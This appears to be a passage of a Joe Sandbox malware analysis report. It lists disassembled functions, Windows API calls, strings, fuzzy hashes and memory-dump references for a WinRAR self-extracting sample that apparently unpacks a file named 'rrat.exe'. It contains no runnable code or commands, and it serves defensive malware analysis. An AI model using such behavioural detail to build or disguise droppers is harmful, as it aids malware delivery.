Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 7a64570b1a9e1294a1664f3c4d8c158a7365d22749dbabe9adb3143af6f7e212
Instruction ID: 4e2b23dec670c21dd300c55361b6202a102b13f2e39f00fa64d22b79d5a15b0e
Opcode Fuzzy Hash: 7a64570b1a9e1294a1664f3c4d8c158a7365d22749dbabe9adb3143af6f7e212
Instruction Fuzzy Hash: 73D02E725081613BCA103328AC0AEAF7A04AB22335F680716F639622F2CA244A916292

Function 00CAE29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00CADA55,?), ref: 00CAE2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00CADA55,?), ref: 00CAE2B1

Strings

RTL, xrefs: 00CAE2AB

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 911fc5ada35581a7ed4dc20b1be663cebae5a4e9fdf4f43823ebd18b245f9b11
Instruction ID: 9d910b4600ea231d9fd5219ed2fac13fb95d12faeda55f20478e2bdf5407bf46
Opcode Fuzzy Hash: 911fc5ada35581a7ed4dc20b1be663cebae5a4e9fdf4f43823ebd18b245f9b11
Instruction Fuzzy Hash: D7C0123124179166E63037646C0DB47AB585B01B15F05046AB645E92D1DAA5D54086E1

Analysis Process: a.exePID: 1372, Parent PID: 3812COMMON

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	35

Executed Functions

Function 00E92EF8 Relevance: 45.7, APIs: 17, Strings: 9, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E86B8F: GetModuleHandleW.KERNEL32(kernel32), ref: 00E86BA8
Part of subcall function 00E86B8F: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00E86BBA
Part of subcall function 00E86B8F: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00E86BEB

Part of subcall function 00E8F86D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00E8F875

Part of subcall function 00E8FE36: OleInitialize.OLE32(00000000), ref: 00E8FE4F
Part of subcall function 00E8FE36: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00E8FE86
Part of subcall function 00E8FE36: SHGetMalloc.SHELL32(00ECEA00), ref: 00E8FE90

GetCommandLineW.KERNEL32 ref: 00E92F36
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00E92F5D
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00E92F6E
UnmapViewOfFile.KERNEL32(00000000), ref: 00E92FA8

Part of subcall function 00E92BF6: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00E92C0C
Part of subcall function 00E92BF6: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00E92C48

CloseHandle.KERNEL32(00000000), ref: 00E92FB1
GetModuleFileNameW.KERNEL32(00000000,00EE52D8,00000800), ref: 00E92FCC
SetEnvironmentVariableW.KERNEL32(sfxname,00EE52D8), ref: 00E92FD8
GetLocalTime.KERNEL32(?), ref: 00E92FE3
_swprintf.LIBCMT ref: 00E93022
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00E93034
GetModuleHandleW.KERNEL32(00000000), ref: 00E9303B
LoadIconW.USER32(00000000,00000064), ref: 00E93052
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00010830,00000000), ref: 00E930A3
Sleep.KERNEL32(?), ref: 00E930D1
DeleteObject.GDI32 ref: 00E9310A
DeleteObject.GDI32(?), ref: 00E9311A
CloseHandle.KERNEL32 ref: 00E9315D

Strings

X+, xrefs: 00E93063
sfxname, xrefs: 00E92FD3
C:\Users\user\AppData\Local\Temp\RarSFX0, xrefs: 00E92F0D
sfxstime, xrefs: 00E9302F
winrarsfxmappingfile.tmp, xrefs: 00E92F51
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00E93013
STARTDLG, xrefs: 00E93098
B*, xrefs: 00E92F9E
D+, xrefs: 00E93137

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$B*$C:\Users\user\AppData\Local\Temp\RarSFX0$D+$STARTDLG$X+$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-2342504919
Opcode ID: 041517af24f22e49e11087fe996b4badc7f7d43a6315e0d69e02d033489bab4b
Instruction ID: bf886f3208fdca4d644cebf7cb004a6984ef4a9c387350f1988d4f99cef0ca5a
Opcode Fuzzy Hash: 041517af24f22e49e11087fe996b4badc7f7d43a6315e0d69e02d033489bab4b
Instruction Fuzzy Hash: 5C61E671605344AFD710BB73EC8AF6B77E8EB59704F001029F609B62A2DA759D4DCB21

Function 00E82AF9 Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00E82B22

Part of subcall function 00E83553: _wcslen.LIBCMT ref: 00E83577

FindFirstFileW.KERNEL32(?,?,?,?,00000800), ref: 00E82B50
GetLastError.KERNEL32(?,?,00000800), ref: 00E82B5C
FindNextFileW.KERNEL32(?,?), ref: 00E82B86
GetLastError.KERNEL32 ref: 00E82B92

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: c9216e40e23e5c1da2cdc7bb6c45e1f76ddd08742fb5c0c924273a48b46d52cd
Instruction ID: d310679421d6dd814d4dbbe0ca577975367d725f51c287fa58051645a01d9b9c
Opcode Fuzzy Hash: c9216e40e23e5c1da2cdc7bb6c45e1f76ddd08742fb5c0c924273a48b46d52cd
Instruction Fuzzy Hash: 31415071901555AFCB25EF64CCC8AE9B3B8BB48350F14469AE96DF3200D734AE94CF50

Function 00E9C733 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,00E9C709,00000003,00EB0A08,0000000C,00E9C860,00000003,00000002,00000000,?,00E9D6F2,00000003), ref: 00E9C754
TerminateProcess.KERNEL32(00000000,?,00E9C709,00000003,00EB0A08,0000000C,00E9C860,00000003,00000002,00000000,?,00E9D6F2,00000003), ref: 00E9C75B
ExitProcess.KERNEL32 ref: 00E9C76D

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ad0b5e8a4745587185dff4fc1bbe40cffa30bcc951bc7b088aa33b876d675f64
Instruction ID: 2c05b8962c448f159a0ef34d43168c021fc013fb94f358a9a89bdca27ed91e46
Opcode Fuzzy Hash: ad0b5e8a4745587185dff4fc1bbe40cffa30bcc951bc7b088aa33b876d675f64
Instruction Fuzzy Hash: F0E04631000208AFCF017FA1DF48A483BA9EB59745F200015FA08AA121CB35EC46CA80

Function 00E90830 Relevance: 111.0, APIs: 49, Strings: 14, Instructions: 727windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E90835

Part of subcall function 00E811E6: GetDlgItem.USER32(00000000,00003021), ref: 00E8122A
Part of subcall function 00E811E6: SetWindowTextW.USER32(00000000,00EA8574), ref: 00E81240

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E90921
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E9093F
IsDialogMessageW.USER32(?,?), ref: 00E90952
TranslateMessage.USER32(?), ref: 00E90960
DispatchMessageW.USER32(?), ref: 00E9096A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00E9098D
EndDialog.USER32(?,00000001), ref: 00E909B0
GetDlgItem.USER32(?,00000068), ref: 00E909D3
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00E909EE
SendMessageW.USER32(00000000,000000C2,00000000,00EA8574), ref: 00E90A01

Part of subcall function 00E92491: _wcschr.LIBVCRUNTIME ref: 00E9249A
Part of subcall function 00E92491: _wcslen.LIBCMT ref: 00E924BB

SetFocus.USER32(00000000), ref: 00E90A08
_swprintf.LIBCMT ref: 00E90A74

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

Part of subcall function 00E92512: GetDlgItem.USER32(00000068,00EE6300), ref: 00E92526
Part of subcall function 00E92512: ShowWindow.USER32(00000000,00000005,?,?,?,00E90065,00000001,?,?,00E907F9,00EA9D3C,00EE6300,00EE6300,00001000,00000000,00000000), ref: 00E9254E
Part of subcall function 00E92512: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00E92559
Part of subcall function 00E92512: SendMessageW.USER32(00000000,000000C2,00000000,00EA8574), ref: 00E92567
Part of subcall function 00E92512: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00E9257D
Part of subcall function 00E92512: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00E92597
Part of subcall function 00E92512: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00E925DB
Part of subcall function 00E92512: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00E925E9
Part of subcall function 00E92512: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00E925F8
Part of subcall function 00E92512: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00E9261F
Part of subcall function 00E92512: SendMessageW.USER32(00000000,000000C2,00000000,00EA8ECC), ref: 00E9262E

GetLastError.KERNEL32(00000000,?), ref: 00E90AB8
GetLastError.KERNEL32(?,00000000,?), ref: 00E90AE0
GetTickCount.KERNEL32 ref: 00E90AFE
_swprintf.LIBCMT ref: 00E90B12
GetLastError.KERNEL32 ref: 00E90B44
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,00000000,?), ref: 00E90B93
_swprintf.LIBCMT ref: 00E90BCC
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00E90C20
GetCommandLineW.KERNEL32 ref: 00E90C3A
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00E90C97
ShellExecuteExW.SHELL32(0000003C), ref: 00E90CBF
WaitForInputIdle.USER32(?,00002710), ref: 00E90CF5
Sleep.KERNEL32(00000064), ref: 00E90D09
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00E90D32
CloseHandle.KERNEL32(00000000), ref: 00E90D3B
_swprintf.LIBCMT ref: 00E90D6E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E90DCD
SetDlgItemTextW.USER32(?,00000065,00EA8574), ref: 00E90DE4
GetDlgItem.USER32(?,00000065), ref: 00E90DED
GetWindowLongW.USER32(00000000,000000F0), ref: 00E90DFC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00E90E0B
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E90EB8
_wcslen.LIBCMT ref: 00E90F0E
_swprintf.LIBCMT ref: 00E90F38
SendMessageW.USER32(?,00000080,00000001,?), ref: 00E90F82
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00E90F9C
GetDlgItem.USER32(?,00000068), ref: 00E90FA5
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00E90FBB
GetDlgItem.USER32(?,00000066), ref: 00E90FD5
SetWindowTextW.USER32(00000000,00ED0A42), ref: 00E90FF7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00E9104C
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E9105F
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_00010600,00000000,?), ref: 00E91102
EnableWindow.USER32(00000000,00000000), ref: 00E911DC
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00E9121E

Part of subcall function 00E9177D: __EH_prolog.LIBCMT ref: 00E91782

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00E91242

Strings

<, xrefs: 00E90BD4
B, xrefs: 00E90FE8
-el -s2 "-d%s" "-sp%s", xrefs: 00E90BBB
__tmp_rar_sfx_access_check_%u, xrefs: 00E90B05
winrarsfxmappingfile.tmp, xrefs: 00E90BF6
@, xrefs: 00E90BE1
STARTDLG, xrefs: 00E90851
B*, xrefs: 00E90BA4
8, xrefs: 00E90C19
83, xrefs: 00E91226
LICENSEDLG, xrefs: 00E910F7
D+, xrefs: 00E90D76
%s, xrefs: 00E90F28
"%s"%s, xrefs: 00E90D5D

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleIdleInputLineMappingModuleNameParamShellShowSleepTickTranslateUnmapWait__vswprintf_c_l_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$83$8$<$@$B$B*$D+$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 270980416-131512099
Opcode ID: f38dc2a30636470563a9c2e4af49866bc80c146981b08fb5983f74b22579eee4
Instruction ID: 310e6a4c3f462207fa24251432d4d911160d9341f5750c854de258fc370865b2
Opcode Fuzzy Hash: f38dc2a30636470563a9c2e4af49866bc80c146981b08fb5983f74b22579eee4
Instruction Fuzzy Hash: 5B423771941349BEEF21ABB19C89FBE37FCAB05704F401195F248BA1E2C7B55A49CB21

Function 00E9177D Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00E91782

Part of subcall function 00E90354: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00E9043B

Part of subcall function 00E900F6: _wcschr.LIBVCRUNTIME ref: 00E90191

_wcslen.LIBCMT ref: 00E91A48
_wcslen.LIBCMT ref: 00E91A51
SetWindowTextW.USER32(?,?), ref: 00E91AAF
_wcslen.LIBCMT ref: 00E91AF1
_wcsrchr.LIBVCRUNTIME ref: 00E91C39
GetDlgItem.USER32(?,00000066), ref: 00E91C74
SetWindowTextW.USER32(00000000,?), ref: 00E91C84
SendMessageW.USER32(00000000,00000143,00000000,00ED0A42), ref: 00E91C92
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00E91CBD

Strings

@4, xrefs: 00E91B94
<br>, xrefs: 00E91A12
B, xrefs: 00E91C56
T4, xrefs: 00E91B62
Software\Microsoft\Windows\CurrentVersion, xrefs: 00E91B58
%s.%d.tmp, xrefs: 00E9197E
ProgramFilesDir, xrefs: 00E91B83

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$@4$B$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$T4
API String ID: 986293930-2881898191
Opcode ID: e1e2b125ff9f68998416021a8b8fa917dafeed6f75e764c1464ed029eceddc46
Instruction ID: aeb1c43717166c8031c17ae9cd4b02d583dae13a724bcc42f81ff63a7f70bce4
Opcode Fuzzy Hash: e1e2b125ff9f68998416021a8b8fa917dafeed6f75e764c1464ed029eceddc46
Instruction Fuzzy Hash: ABE17072900259AADF24EBA0DD85EEE73FCAF05314F5050A6F649F7051EB749E84CB60

Function 00E86B8F Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00E86BA8
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00E86BBA
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00E86BEB
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00E86E95
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E86EAF
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E86EBF
ReadFile.KERNEL32(00000000,?,00007FFE,00EA8828,00000000), ref: 00E86EDD
CloseHandle.KERNEL32(00000000), ref: 00E86F35
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00E86F4A
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00EA8828,?,00000000,?,00000800), ref: 00E86F9E
GetFileAttributesW.KERNEL32(?,?,00EA8828,00000800,?,00000000,?,00000800), ref: 00E86FC8
GetFileAttributesW.KERNEL32(?,?,00EA88F0,00000800), ref: 00E87004

Part of subcall function 00E86B47: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00E86B62
Part of subcall function 00E86B47: LoadLibraryW.KERNEL32(?,?,00E8583E,Crypt32.dll,00000000,00E858C2,?,?,00E858A4,?,?,?,?), ref: 00E86B84

_swprintf.LIBCMT ref: 00E87076
_swprintf.LIBCMT ref: 00E870C2

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

AllocConsole.KERNEL32 ref: 00E870CA
GetCurrentProcessId.KERNEL32 ref: 00E870D4
AttachConsole.KERNEL32(00000000), ref: 00E870DB
_wcslen.LIBCMT ref: 00E870F0
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00E87101
WriteConsoleW.KERNEL32(00000000), ref: 00E87108
Sleep.KERNEL32(00002710), ref: 00E87113
FreeConsole.KERNEL32 ref: 00E87119
ExitProcess.KERNEL32 ref: 00E87121

Strings

DXGIDebug.dll, xrefs: 00E86C28, 00E86F8A
kernel32, xrefs: 00E86B9F
dwmapi.dll, xrefs: 00E86C53, 00E87039
SetDefaultDllDirectories, xrefs: 00E86BE5
SetDllDirectoryW, xrefs: 00E86BB4
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00E870B0
uxtheme.dll, xrefs: 00E87043

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 8dd3b15a97a32d9dda9ca555622d146d7e920c2a9cb425454f3e94258a8d1078
Instruction ID: ab2a60b7cbc3734a363e2b979f3b18a56cf766844b1d65b6dfa4604bda78bf67
Opcode Fuzzy Hash: 8dd3b15a97a32d9dda9ca555622d146d7e920c2a9cb425454f3e94258a8d1078
Instruction Fuzzy Hash: 23D177B15093849FD760AF509A4AA9FB6E8FBCA704F50291DF18DBA150DF70A508CB63

Function 00E8816F Relevance: 31.1, APIs: 3, Strings: 14, Instructions: 1313COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E88178

Strings

zip, xrefs: 00E886DE, 00E886E8
D+, xrefs: 00E89237
zipx, xrefs: 00E886D7
AES-0017, xrefs: 00E88565
D+, xrefs: 00E88875
D+, xrefs: 00E88A24
D+, xrefs: 00E8871F
D+, xrefs: 00E88FB5
D+, xrefs: 00E88E67
D+, xrefs: 00E891FD
D+, xrefs: 00E88802
zx01, xrefs: 00E88606
z01, xrefs: 00E8860D, 00E88617
rrat.exe, xrefs: 00E882BE, 00E8839D, 00E883A8, 00E883B4, 00E883B5, 00E88466, 00E884FF, 00E8856A, 00E885A8, 00E88A3D, 00E88A64, 00E88AF2, 00E88AFC, 00E88B0A, 00E88B0B, 00E88B88, 00E88BA1, 00E88BA7, 00E88BEB, 00E88BEC, 00E88CCC, 00E88EDB, 00E88EE7, 00E88F38, 00E88F5D, 00E88F75, 00E88F89, 00E88F9E, 00E88FA8, 00E88FCA, 00E89017, 00E890A6, 00E890F5

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: AES-0017$D+$D+$D+$D+$D+$D+$D+$D+$rrat.exe$z01$zip$zipx$zx01
API String ID: 3519838083-70252433
Opcode ID: 0f8bed308186beb289f56b79f3ae3ad0591fbfb07c198bdbed509228ac140205
Instruction ID: 305925ba9ffbf0a8b0e9ed0ab230dd9f7aa2431364328749a2c3df19e05e4768
Opcode Fuzzy Hash: 0f8bed308186beb289f56b79f3ae3ad0591fbfb07c198bdbed509228ac140205
Instruction Fuzzy Hash: 63B28F71904214DFCB24EF69DE81AA97BE5BB48308F54212AFC0DF72A1DB329D46CB50

Function 00E840C7 Relevance: 25.2, APIs: 5, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E840D0
_wcschr.LIBVCRUNTIME ref: 00E840F1
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00E8410C

Part of subcall function 00E83887: _wcslen.LIBCMT ref: 00E8388F

Part of subcall function 00E868A5: _wcslen.LIBCMT ref: 00E868AB

Part of subcall function 00E878FD: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00E83539,00000000,?,?), ref: 00E87919

_wcslen.LIBCMT ref: 00E84449
__fprintf_l.LIBCMT ref: 00E8457C

Strings

$%s:, xrefs: 00E8455F
@%s:, xrefs: 00E84566, 00E84572
R, xrefs: 00E8426C
a, xrefs: 00E84276
RTL, xrefs: 00E8453E
*messages***, xrefs: 00E84221
*messages***, xrefs: 00E8425A
, xrefs: 00E843CC
,, xrefs: 00E845B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
